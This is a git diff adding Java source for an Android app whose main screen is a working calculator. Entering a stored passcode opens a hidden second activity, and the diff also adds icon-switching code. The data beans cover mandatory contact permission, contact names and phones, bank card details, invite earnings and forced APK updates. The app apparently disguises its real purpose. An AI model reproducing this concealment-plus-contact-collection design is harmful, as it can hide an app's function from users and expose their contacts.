连接错误 + */ + public static final int CONNECT_ERROR = 1003; + /** + * 连接超时 + */ + public static final int CONNECT_TIMEOUT = 1004; + + @Override + public void onNext(T o) { + if (o instanceof String) { + onError(0, "接口解析失败"); +// LogUtils.i("返回个string就没意思了"); + } else { + Result model = (Result) o; + if (model.isSuccessful()) { + onSuccess(o); + } else { + onError2(o); + } + } + + + } + + @Override + public void onError(Throwable e) { + if (e instanceof HttpException) { + // HTTP错误 + onException(BAD_NETWORK); + } else if (e instanceof ConnectException + || e instanceof UnknownHostException) { + // 连接错误 + onException(CONNECT_ERROR); + } else if (e instanceof InterruptedIOException) { + // 连接超时 + onException(CONNECT_TIMEOUT); + } else if (e instanceof JsonParseException + || e instanceof JSONException + || e instanceof ParseException) { + // 解析错误 + + onException(PARSE_ERROR); + } else { + if (e != null) { + onError(409, e.toString()); + } else { + onError(407, "未知错误"); + } + } + + } + + private void onException(int unknownError) { + switch (unknownError) { + case CONNECT_ERROR: + onError(CONNECT_ERROR, "连接错误"); + break; + + case CONNECT_TIMEOUT: + onError(CONNECT_TIMEOUT, "连接超时"); + break; + + case BAD_NETWORK: + onError(BAD_NETWORK, "网络问题"); + break; + + case PARSE_ERROR: + onError(PARSE_ERROR, "宇宙也是有尽头的"); + + break; + + default: + break; + } + } + + @Override + public void onComplete() { + + } + + public abstract void onSuccess(T o); + + public abstract void onError(int code, String msg); + + public abstract void onError2(T o); + +} diff --git a/base_sg/src/main/java/com/web/base/CircleImageView.java b/base_sg/src/main/java/com/web/base/CircleImageView.java new file mode 100644 index 0000000..cf84202 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/CircleImageView.java @@ -0,0 +1,321 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.res.TypedArray; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Matrix; +import android.graphics.Paint; +import android.graphics.PorterDuff; +import android.graphics.PorterDuffXfermode; +import android.graphics.RectF; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.util.AttributeSet; +import android.view.MotionEvent; + +import androidx.appcompat.widget.AppCompatImageView; + + +public class CircleImageView extends AppCompatImageView { + // paint when user press + private Paint pressPaint; + private int width; + private int height; + + // default bitmap config + private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888; + private static final int COLORDRAWABLE_DIMENSION = 1; + + // border color + private int borderColor; + // width of border + private int borderWidth; + // alpha when pressed + private int pressAlpha; + // color when pressed + private int pressColor; + // radius + private int radius; + // rectangle or round, 1 is circle, 2 is rectangle + private int shapeType; + + public CircleImageView(Context context) { + super(context); + init(context, null); + } + + public CircleImageView(Context context, AttributeSet attrs) { + super(context, attrs); + init(context, attrs); + } + + public CircleImageView(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context, attrs); + } + + + private void init(Context context, AttributeSet attrs) { + //init the value + borderWidth = 0; + borderColor = 0xddffffff; + pressAlpha = 0x42; + pressColor = 0x42000000; + radius = 16; + shapeType = 0; + + // get attribute of EaseImageView + if (attrs != null) { + TypedArray array = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView); + borderColor = array.getColor(R.styleable.CircleImageView_ease_border_color, borderColor); + borderWidth = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_border_width, borderWidth); + pressAlpha = array.getInteger(R.styleable.CircleImageView_ease_press_alpha, pressAlpha); + pressColor = array.getColor(R.styleable.CircleImageView_ease_press_color, pressColor); + radius = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_radius, radius); + shapeType = array.getInteger(R.styleable.CircleImageView_es_shape_type, shapeType); + array.recycle(); + } + + // set paint when pressed + pressPaint = new Paint(); + pressPaint.setAntiAlias(true); + pressPaint.setStyle(Paint.Style.FILL); + pressPaint.setColor(pressColor); + pressPaint.setAlpha(0); + pressPaint.setFlags(Paint.ANTI_ALIAS_FLAG); + + setDrawingCacheEnabled(true); + setWillNotDraw(false); + } + + @Override + protected void onDraw(Canvas canvas) { + + if (shapeType == 0) { + super.onDraw(canvas); + return; + } + Drawable drawable = getDrawable(); + if (drawable == null) { + return; + } + // the width and height is in xml file + if (getWidth() == 0 || getHeight() == 0) { + return; + } + Bitmap bitmap = getBitmapFromDrawable(drawable); + drawDrawable(canvas, bitmap); + + if (isClickable()) { + drawPress(canvas); + } + drawBorder(canvas); + } + + /** + * draw Rounded Rectangle + * + * @param canvas + * @param bitmap + */ + @SuppressLint("WrongConstant") + private void drawDrawable(Canvas canvas, Bitmap bitmap) { + Paint paint = new Paint(); + paint.setColor(0xffffffff); + paint.setAntiAlias(true); //smooths out the edges of what is being drawn + PorterDuffXfermode xfermode = new PorterDuffXfermode(PorterDuff.Mode.SRC_IN); + // set flags + int saveFlags = Canvas.ALL_SAVE_FLAG + ; + canvas.saveLayer(0, 0, width, height, null, saveFlags); + + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(1, 1, getWidth() - 1, getHeight() - 1); + canvas.drawRoundRect(rectf, radius + 1, radius + 1, paint); + } + + paint.setXfermode(xfermode); + + float scaleWidth = ((float) getWidth()) / bitmap.getWidth(); + float scaleHeight = ((float) getHeight()) / bitmap.getHeight(); + + Matrix matrix = new Matrix(); + matrix.postScale(scaleWidth, scaleHeight); + + //bitmap scale + bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); + + canvas.drawBitmap(bitmap, 0, 0, paint); + canvas.restore(); + } + + /** + * draw the effect when pressed + * + * @param canvas + */ + private void drawPress(Canvas canvas) { + // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, width / 2 - 1, pressPaint); + } else if (shapeType == 2) { + RectF rectF = new RectF(1, 1, width - 1, height - 1); + canvas.drawRoundRect(rectF, radius + 1, radius + 1, pressPaint); + } + } + + /** + * draw customized border + * + * @param canvas + */ + private void drawBorder(Canvas canvas) { + if (borderWidth > 0) { + Paint paint = new Paint(); + paint.setStrokeWidth(borderWidth); + paint.setStyle(Paint.Style.STROKE); + paint.setColor(borderColor); + paint.setAntiAlias(true); + // // check is rectangle or circle + if (shapeType == 1) { + canvas.drawCircle(width / 2, height / 2, (width - borderWidth) / 2, paint); + } else if (shapeType == 2) { + RectF rectf = new RectF(borderWidth / 2, borderWidth / 2, getWidth() - borderWidth / 2, + getHeight() - borderWidth / 2); + canvas.drawRoundRect(rectf, radius, radius, paint); + } + } + } + + /** + * monitor the size change + * + * @param w + * @param h + * @param oldw + * @param oldh + */ + @Override + protected void onSizeChanged(int w, int h, int oldw, int oldh) { + super.onSizeChanged(w, h, oldw, oldh); + width = w; + height = h; + } + + /** + * monitor if touched + * + * @param event + * @return + */ + @Override + public boolean onTouchEvent(MotionEvent event) { + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + pressPaint.setAlpha(pressAlpha); + invalidate(); + break; + case MotionEvent.ACTION_UP: + pressPaint.setAlpha(0); + invalidate(); + break; + case MotionEvent.ACTION_MOVE: + + break; + default: + pressPaint.setAlpha(0); + invalidate(); + break; + } + return super.onTouchEvent(event); + } + + /** + * @param drawable + * @return + */ + private Bitmap getBitmapFromDrawable(Drawable drawable) { + if (drawable == null) { + return null; + } + + if (drawable instanceof BitmapDrawable) { + return ((BitmapDrawable) drawable).getBitmap(); + } + + Bitmap bitmap; + int width = Math.max(drawable.getIntrinsicWidth(), 2); + int height = Math.max(drawable.getIntrinsicHeight(), 2); + try { + bitmap = Bitmap.createBitmap(width, height, BITMAP_CONFIG); + Canvas canvas = new Canvas(bitmap); + drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight()); + drawable.draw(canvas); + } catch (IllegalArgumentException e) { + e.printStackTrace(); + bitmap = null; + } + return bitmap; + } + + /** + * set border color + * + * @param borderColor + */ + public void setBorderColor(int borderColor) { + this.borderColor = borderColor; + invalidate(); + } + + /** + * set border width + * + * @param borderWidth + */ + public void setBorderWidth(int borderWidth) { + this.borderWidth = borderWidth; + } + + /** + * set alpha when pressed + * + * @param pressAlpha + */ + public void setPressAlpha(int pressAlpha) { + this.pressAlpha = pressAlpha; + } + + /** + * set color when pressed + * + * @param pressColor + */ + public void setPressColor(int pressColor) { + this.pressColor = pressColor; + } + + /** + * set radius + * + * @param radius + */ + public void setRadius(int radius) { + this.radius = radius; + invalidate(); + } + + /** + * set shape,1 is circle, 2 is rectangle + * + * @param shapeType + */ + public void setShapeType(int shapeType) { + this.shapeType = shapeType; + invalidate(); + } +} diff --git a/base_sg/src/main/java/com/web/base/ContactBean.java b/base_sg/src/main/java/com/web/base/ContactBean.java new file mode 100644 index 0000000..18251d9 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/ContactBean.java @@ -0,0 +1,29 @@ +package com.web.base; + +public class ContactBean { + + public String name; + public String phone; + + + public ContactBean(String name, String phone) { + this.name = name; + this.phone = phone; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getPhone() { + return phone; + } + + public void setPhone(String phone) { + this.phone = phone; + } +} diff --git a/base_sg/src/main/java/com/web/base/DataInfo.java b/base_sg/src/main/java/com/web/base/DataInfo.java new file mode 100644 index 0000000..f294620 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/DataInfo.java @@ -0,0 +1,124 @@ +package com.web.base; + +import java.io.Serializable; + +public class DataInfo implements Serializable { + + public String apkUrl; + public String description; + public int forceUpdate; + public String url; + public String downloadUrl; + public String versionCode; + public int isUse = 1; //是否正常使用 0不可用 1正常使用 + public int noticeApplyMode = 1; //通知权限加载方式 0不用1必须 + public int contactApplyMode = 1; //通讯录权限加载方式 0不用1必须 + public String fbUrl; // facebook分享地址 + public String tgUrl; // tg分享地址 + public String wsUrl; //whatsapp分享地址 + public String linkConfig; + + public String getLinkConfig() { + return linkConfig; + } + + public void setLinkConfig(String linkConfig) { + this.linkConfig = linkConfig; + } + + public int getIsUse() { + return isUse; + } + + public void setIsUse(int isUse) { + this.isUse = isUse; + } + + public int getNoticeApplyMode() { + return noticeApplyMode; + } + + public void setNoticeApplyMode(int noticeApplyMode) { + this.noticeApplyMode = noticeApplyMode; + } + + public int getContactApplyMode() { + return contactApplyMode; + } + + public void setContactApplyMode(int contactApplyMode) { + this.contactApplyMode = contactApplyMode; + } + + public String getFbUrl() { + return fbUrl; + } + + public void setFbUrl(String fbUrl) { + this.fbUrl = fbUrl; + } + + public String getTgUrl() { + return tgUrl; + } + + public void setTgUrl(String tgUrl) { + this.tgUrl = tgUrl; + } + + public String getWsUrl() { + return wsUrl; + } + + public void setWsUrl(String wsUrl) { + this.wsUrl = wsUrl; + } + + public String getDownloadUrl() { + return downloadUrl; + } + + public void setDownloadUrl(String downloadUrl) { + this.downloadUrl = downloadUrl; + } + + public String getApkUrl() { + return apkUrl; + } + + public void setApkUrl(String apkUrl) { + this.apkUrl = apkUrl; + } + + public String getDescription() { + return description; + } + + public void setDescription(String description) { + this.description = description; + } + + public int getForceUpdate() { + return forceUpdate; + } + + public void setForceUpdate(int forceUpdate) { + this.forceUpdate = forceUpdate; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getVersionCode() { + return versionCode; + } + + public void setVersionCode(String versionCode) { + this.versionCode = versionCode; + } +} diff --git a/base_sg/src/main/java/com/web/base/DialogUtil.java b/base_sg/src/main/java/com/web/base/DialogUtil.java new file mode 100644 index 0000000..451dfba --- /dev/null +++ b/base_sg/src/main/java/com/web/base/DialogUtil.java @@ -0,0 +1,58 @@ +package com.web.base; + +import android.os.Build; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; + +@Deprecated +public class DialogUtil { + /** + * 隐藏虚拟栏 ,显示的时候再隐藏掉 + * @param window + */ + public static void hideNavigationBar(final Window window) { + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION); + window.getDecorView().setOnSystemUiVisibilityChangeListener(new View.OnSystemUiVisibilityChangeListener() { + @Override + public void onSystemUiVisibilityChange(int visibility) { + int uiOptions = View.SYSTEM_UI_FLAG_LAYOUT_STABLE | + //布局位于状态栏下方 + View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | + //全屏 + View.SYSTEM_UI_FLAG_FULLSCREEN | + //隐藏导航栏 + View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | + View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN; + if (Build.VERSION.SDK_INT >= 19) { + uiOptions |= View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY; + } else { + uiOptions |= View.SYSTEM_UI_FLAG_LOW_PROFILE; + } + window.getDecorView().setSystemUiVisibility(uiOptions); + } + }); + } + + + /** + * dialog 需要全屏的时候用,和clearFocusNotAle() 成对出现 + * 在show 前调用 focusNotAle show后调用clearFocusNotAle + * @param window + */ + public static void focusNotAle(Window window) { + window.setFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, + WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); + } + + + /** + * dialog 需要全屏的时候用,focusNotAle() 成对出现 + * 在show 前调用 focusNotAle show后调用clearFocusNotAle + * @param window + */ + public static void clearFocusNotAle(Window window) { + window.clearFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); + } +} + diff --git a/base_sg/src/main/java/com/web/base/GsonUtils.java b/base_sg/src/main/java/com/web/base/GsonUtils.java new file mode 100644 index 0000000..8facc6c --- /dev/null +++ b/base_sg/src/main/java/com/web/base/GsonUtils.java @@ -0,0 +1,91 @@ +package com.web.base; + +import android.text.TextUtils; + +import com.google.gson.Gson; +import com.google.gson.JsonObject; +import com.google.gson.reflect.TypeToken; + +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.List; + +/** + * json解析工具类 其实对于数组解析有一些问题 + * @author + */ +public class GsonUtils { + + public static Gson gson = new Gson(); + + /** + * 返回List对象 + * @param str + * @param type new TypeToken>(){}.getType() + * @param + * @return + */ + public static T getListFromJSON(String str, Type type) { + if (!TextUtils.isEmpty(str)) { + return gson.fromJson(str, type); + } + return null; + } + + /** + * 返回List对象 + * @param str + * @param cls + * @param + * @return + */ + public static List getListFromJSON(String str, Class cls) + { + Type type = new TypeToken>() + {}.getType(); + ArrayList jsonObjects = gson.fromJson(str, type); + ArrayList arrayList = new ArrayList<>(); + for (JsonObject jsonObject : jsonObjects) + { + arrayList.add(gson.fromJson(jsonObject, cls)); + } + return arrayList; + } + + /** + * 返回对象 + * @param str + * @param cls + * @param + * @return + */ + public static T getObjFromJSON(String str, Class cls) { + try { + if (!TextUtils.isEmpty(str)) { +// LogUtils.i("参数:"+str); + return gson.fromJson(str, cls); + } + return null; + }catch (Exception e) { + return null; + } + } + + /** + * 返回JsonString + * @return + */ + public static String beanToJSONString(Object bean) { + return new Gson().toJson(bean); + } + + + public static String JSONTokener(String in) { + // consume an optional byte order mark (BOM) if it exists + if (in != null && in.startsWith("\ufeff")) { + in = in.substring(1); + } + return in; + } + +} diff --git a/base_sg/src/main/java/com/web/base/InviteInfo.java b/base_sg/src/main/java/com/web/base/InviteInfo.java new file mode 100644 index 0000000..788659c --- /dev/null +++ b/base_sg/src/main/java/com/web/base/InviteInfo.java @@ -0,0 +1,109 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class InviteInfo implements Serializable { + + + private String deviceCode; + private int id; + private String inviteCode; + private int inviteNum; + private int userId; + private String balance; + private String income; + //银行卡信息 + private String bankId; + private String bankName; + private String bankNo; + private String name; + + public String getBankId() { + return bankId; + } + + public void setBankId(String bankId) { + this.bankId = bankId; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getBankNo() { + return bankNo; + } + + public void setBankNo(String bankNo) { + this.bankNo = bankNo; + } + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getIncome() { + return income; + } + + public void setIncome(String income) { + this.income = income; + } + + public String getDeviceCode() { + return deviceCode; + } + + public void setDeviceCode(String deviceCode) { + this.deviceCode = deviceCode; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } + + public String getInviteCode() { + return inviteCode; + } + + public void setInviteCode(String inviteCode) { + this.inviteCode = inviteCode; + } + + public int getInviteNum() { + return inviteNum; + } + + public void setInviteNum(int inviteNum) { + this.inviteNum = inviteNum; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public int getUserId() { + return userId; + } + + public void setUserId(int userId) { + this.userId = userId; + } +} diff --git a/base_sg/src/main/java/com/web/base/InviteListInfo.java b/base_sg/src/main/java/com/web/base/InviteListInfo.java new file mode 100644 index 0000000..9b94e13 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/InviteListInfo.java @@ -0,0 +1,61 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class InviteListInfo implements Serializable { + + private InviteCodeInfo inviteCode; + //邀请记录 + private int total; + private List list; + + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + + public InviteCodeInfo getInviteCode() { + return inviteCode; + } + + public void setInviteCode(InviteCodeInfo inviteCode) { + this.inviteCode = inviteCode; + } + + + class InviteCodeInfo { + + private String balance; + private String income; + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getIncome() { + return income; + } + + public void setIncome(String income) { + this.income = income; + } + } +} diff --git a/base_sg/src/main/java/com/web/base/LinkConfigInfo.java b/base_sg/src/main/java/com/web/base/LinkConfigInfo.java new file mode 100644 index 0000000..fa044fb --- /dev/null +++ b/base_sg/src/main/java/com/web/base/LinkConfigInfo.java @@ -0,0 +1,34 @@ +package com.web.base; + +import java.io.Serializable; + +public class LinkConfigInfo implements Serializable { + + public String name; + public String icon; + public String linkUrl; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getIcon() { + return icon; + } + + public void setIcon(String icon) { + this.icon = icon; + } + + public String getLinkUrl() { + return linkUrl; + } + + public void setLinkUrl(String linkUrl) { + this.linkUrl = linkUrl; + } +} diff --git a/base_sg/src/main/java/com/web/base/LogUtils.java b/base_sg/src/main/java/com/web/base/LogUtils.java new file mode 100644 index 0000000..f63035f --- /dev/null +++ b/base_sg/src/main/java/com/web/base/LogUtils.java @@ -0,0 +1,150 @@ +package com.web.base; + +import android.util.Log; + + +/** + * Log统一管理类 + * Created by on 2015/10/19 0019. + */ +public class LogUtils { + + private LogUtils() { + throw new UnsupportedOperationException("cannot be instantiated"); + } + +// public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + public static boolean isDebug = BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug,可以在application的onCreate函数里面初始化 +// public static boolean isDebug = false;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + + private static final String TAG = "BIKAOVIDEO"; + + /** + * 默认tag的函数 + * + * @param msg 打印信息 + */ + public static void v(String msg) { + if (isDebug) Log.v(TAG, msg); + } + + public static void d(String msg) { + if (isDebug) Log.d(TAG, msg); + } + + public static void i(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,TAG+"BIKAOVIDEOsb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,TAG+"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,TAG+"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,TAG+"3333333333BIKAOVIDEO" + msg.toString()); + } + } + } + + public static void w(String msg) { + if (isDebug) Log.w(TAG, msg); + } + + public static void e(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.e(TAG, "sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.e(TAG, "XHX11111111111:" + msg.toString()); + + + + } + + } + + } + + /** + * 自定义lag的函数 + * + * @param tag tag + * @param msg 打印信息 + */ + public static void v(String tag, String msg) { + if (isDebug) Log.v(tag, msg); + } + + public static void d(String tag, String msg) { + if (isDebug) Log.d(tag, msg); + } + + public static void i(String tag, String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"XHX" + msg.toString()); + Log.i( TAG,"XHX2222222222222" + GsonUtils.beanToJSONString(msg)); + } + } + } + + public static void w(String tag, String msg) { + if (isDebug) Log.w(tag, msg); + } + + public static void e(String tag, String msg) { + if (isDebug) Log.e(tag, msg); + } + + /** + * 自定义lag的函数 + * + * @param clazz 类 + * @param msg 打印信息 + */ + public static void v(Class clazz, String msg) { + if (isDebug) Log.v(clazz.getSimpleName(), msg); + } + + public static void d(Class clazz, String msg) { + if (isDebug) Log.d(clazz.getSimpleName(), msg); + } + + public static void i(Class clazz, String msg) { + if (isDebug) Log.i(clazz.getSimpleName(), msg); + } + + public static void w(Class clazz, String msg) { + if (isDebug) Log.w(clazz.getSimpleName(), msg); + } + + public static void e(Class clazz, String msg) { + if (isDebug) Log.e(clazz.getSimpleName(), msg); + } + +} \ No newline at end of file diff --git a/base_sg/src/main/java/com/web/base/MainActivity.java b/base_sg/src/main/java/com/web/base/MainActivity.java new file mode 100644 index 0000000..74ac6c0 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/MainActivity.java @@ -0,0 +1,372 @@ +package com.web.base; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.PackageManager; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.util.Log; +import android.util.TypedValue; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.widget.TextViewCompat; + +import java.math.BigDecimal; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class MainActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private TextView inputTextView, outputTextView; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, + btn_point, btn_equal, btn_add, btn_subtract, btn_multiply, btn_divide, btn_percent, btn_backspace, btn_clear; + + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main); + + if (TextUtils.isEmpty(getString(MainActivity.this, "loc_pass", ""))) { + startActivity(new Intent(this, StartActivity.class)); + finish(); + return; + } + + setListener(); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(inputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(outputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + getNetUrl(); + } + + public void setListener() { + inputTextView = (TextView) findViewById(R.id.inputText); + outputTextView = (TextView) findViewById(R.id.outputText); + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + btn_point = (Button) findViewById(R.id.btn_point); + btn_point.setOnClickListener(this); + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + btn_add = (Button) findViewById(R.id.btn_add); + btn_add.setOnClickListener(this); + btn_subtract = (Button) findViewById(R.id.btn_subtract); + btn_subtract.setOnClickListener(this); + btn_multiply = (Button) findViewById(R.id.btn_multiply); + btn_multiply.setOnClickListener(this); + btn_divide = (Button) findViewById(R.id.btn_divide); + btn_divide.setOnClickListener(this); + btn_backspace = (Button) findViewById(R.id.btn_backspace); + btn_backspace.setOnClickListener(this); + btn_clear = (Button) findViewById(R.id.btn_clear); + btn_clear.setOnClickListener(this); + } + + Handler handler = new Handler(); + + public void displayInput() { + inputTextView.setText(currentInput); + if (currentInput.toString().equals(MainActivity.getString(MainActivity.this, "loc_pass", ""))) { + toNextActivity(); + } + } + + private void toNextActivity() { +// changeIcon(true); + handler.postDelayed(() -> { + startActivity(new Intent(MainActivity.this, MainActivity2.class)); +// finish(); + }, 1000); + } + + /** + * 修改图标和名称的方法 + * + * @param enable + */ + public void changeIcon(boolean enable) { + PackageManager pm = getApplicationContext().getPackageManager(); + + if (enable) { + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + } else { + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.Default"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + + + Log.d("TAG", "换Test的图标"); + } + } + + + public void displayAnswer(StringBuilder string) { + Pattern compile = Pattern.compile("[^0-9.-]"); + StringBuilder result = new StringBuilder(compile.matcher(string).replaceAll("")); + if (result.charAt(result.length() - 1) == '-') { + System.out.println(result.charAt(result.length() - 1)); + result.deleteCharAt(result.length() - 1); + } + System.out.println(result); + outputTextView.setText(result); + } + + public StringBuilder compute(StringBuilder str) { + Pattern pattern = Pattern.compile("([\\d.]+)\\s*([*/])\\s*([\\d.]+)"); + Matcher matcher = pattern.matcher(str.toString()); + while (matcher.find()) { + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)) { + case "*": + first = first.multiply(second); + break; + case "/": + first = first.divide(second); + break; + } + str.replace(matcher.start(), matcher.end(), first.toString()); + matcher.reset(str.toString()); + } + + pattern = Pattern.compile("([\\d.]+)\\s*([+-])\\s*([\\d.]+)"); + matcher = pattern.matcher(str.toString()); + while (matcher.find()) { + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)) { + case "+": + first = first.add(second); + break; + case "-": + first = first.subtract(second); + break; + + } + str.replace(matcher.start(), matcher.end(), first.toString()); + matcher.reset(str.toString()); + } + return str; + } + + public void addInput(String string) { + if (hasCount == false) { + currentInput.append(string); + } else { + currentInput = new StringBuilder(""); + hasCount = false; + currentInput.append(string); + } + displayInput(); + } + + + public String GETHASH() { + try { + String value = "" + ""; + MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); + byte[] bytes = messageDigest.digest(value.getBytes(StandardCharsets.UTF_8)); + return byteToString(bytes); + } catch (NoSuchAlgorithmException e) { + return ""; + } + } + + public String byteToString(byte[] bytes) { + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < bytes.length; i++) { + String hexString = Integer.toHexString(0xff & bytes[i]); + if (hexString.length() == 1) { + stringBuilder.append("0"); + } + stringBuilder.append(hexString); + } + return stringBuilder.toString(); + } + + + @Override + public void onClick(View v) { + switch (v.getId()) { +// case R.id.btn_0: +// addInput("0"); +// break; +// case R.id.btn_1: +// addInput("1"); +// break; +// case R.id.btn_2: +// addInput("2"); 